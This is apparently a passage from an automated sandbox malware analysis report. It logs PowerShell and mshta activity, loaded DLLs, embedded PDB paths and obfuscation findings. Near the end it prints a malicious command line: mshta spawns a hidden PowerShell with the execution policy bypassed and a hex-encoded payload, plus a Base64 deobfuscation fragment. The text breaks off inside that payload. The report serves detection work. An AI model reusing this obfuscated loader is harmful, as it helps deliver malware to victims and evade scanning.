Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\codebar\Desktop\Dev\Git\iMazing3-Win\Submodules\DevKit-Win\DevKit\obj\Release\net462\DevKit.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Build\Release\Products\win64\HEIC_SWIG_DLL_v142.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-2-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\source\HTML-Renderer\Source\HtmlRenderer\obj\Release\HtmlRenderer.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\source\github\HTML-Renderer\Source\HtmlRenderer.PdfSharp\obj\Release\HtmlRenderer.PdfSharp.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\Build\DDNA-BuildCache\master\tmp\gpod\Build\64\Release\gpod.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\NetSparkle\NetSparkle\src\NetSparkle\obj\Release\net452\NetSparkle.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\codebar\Desktop\Dev\Git\iMazing3-Win\DDNAToolKit\IDE\VisualStudio\DDNAInterop\obj\x64\Release\net462\DDNAInterop.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net462\Microsoft.AppCenter.pdbSHA2564 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000005.00000002.7041071447.0000000007980000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\codebar\Desktop\Dev\Git\iMazing3-Win\DDNAToolKit\IDE\VisualStudio\DDNAInterop\obj\x64\Release\net462\DDNAInterop.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\winforms_control\Microsoft.Web.WebView2.WinForms\obj\release\net45\Microsoft.Web.WebView2.WinForms.pdbP source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\msvcp140_1.amd64.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Profile-Editor-Win\Submodules\Manifest-Operations\Manifest-Operations-Shared\obj\Release\net462\Manifest-Operations-Shared.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\DDNA\ColorSet\ColorSetKit\obj\Release\net462\ColorSetKit.pdbSHA256m source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Build\Release\Products\win64\HEIC_DLL_v142.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\DDNA\BetterDP\BetterDP\obj\Release\net462\BetterDP.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net462\Microsoft.AppCenter.Analytics.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\source\github\HTML-Renderer\Source\HtmlRenderer.PdfSharp\obj\Release\HtmlRenderer.PdfSharp.pdbtj source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\NetSparkle\NetSparkle\src\NetSparkle.UI.WPF\obj\Release\net452\NetSparkle.UI.WPF.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net462\Microsoft.AppCenter.Crashes.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net462\Microsoft.AppCenter.Crashes.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\codebar\Desktop\Dev\Git\iMazing3-Win\Submodules\DevKit-Win\DevKit\obj\Release\net462\DevKit.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net462\Microsoft.AppCenter.Analytics.pdbSHA256.j source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb\|( source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\DDNA\ColorSet\ColorSetKit\obj\Release\net462\ColorSetKit.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\msvcp140.amd64.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Profile-Editor-Win\Submodules\Manifest-Operations\Manifest-Operations-Shared\obj\Release\net462\Manifest-Operations-Shared.pdbSHA256\ source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: powershell.exe, 00000005.00000002.7042183892.0000000007A50000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\DDNA\BetterDP\BetterDP\obj\Release\net462\BetterDP.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, 00000005.00000002.7042183892.0000000007A50000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\NetSparkle\NetSparkle\src\NetSparkle\obj\Release\net452\NetSparkle.pdbSHA256 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Submodules\heic-convert\Build\Release\Intermediates\win64\HEIC-NET\net462\HEIC-NET.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\NetSparkle\NetSparkle\src\NetSparkle.UI.WPF\obj\Release\net452\NetSparkle.UI.WPF.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\concrt140.amd64.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Submodules\heic-convert\Build\Release\Intermediates\win64\HEIC-NET\net462\HEIC-NET.pdbSHA2567 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb% source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Build\Release\Products\win64\HEIC_DLL_v142.pdb11 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\Microsoft.Web.WebView2.Core\bin\ReleasePackage\Microsoft.Web.WebView2.Core.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\Microsoft.Xaml.Behaviors\obj\Release\net45\Microsoft.Xaml.Behaviors.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net462\Microsoft.AppCenter.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\winforms_control\Microsoft.Web.WebView2.WinForms\obj\release\net45\Microsoft.Web.WebView2.WinForms.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\Build\DDNA-BuildCache\master\tmp\gpod\Build\64\Release\gpod.pdb11 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\msvcp140_2.amd64.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 5.2.powershell.exe.76e0000.2.raw.unpack, ---.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: 5.2.powershell.exe.7980000.3.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 5.2.powershell.exe.7980000.3.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 5.2.powershell.exe.7980000.3.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 5.2.powershell.exe.7980000.3.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 5.2.powershell.exe.7980000.3.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($z));$bYtEStRiNG = $enC.$OysVsCPhv5fDBgkDoUIpTON1Zwbw1tKP6C9hPIF25L0WLlqdPDOrJwAYNSGNDYigHNNurNwXHp2xTHDycw0WntCdYI9ITZqhwgg2YbWJdZ0bhhR3bH23YtNlng4md28hRKrmnVV8hCKqTwWKiT1NN2CDhN1TuO

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29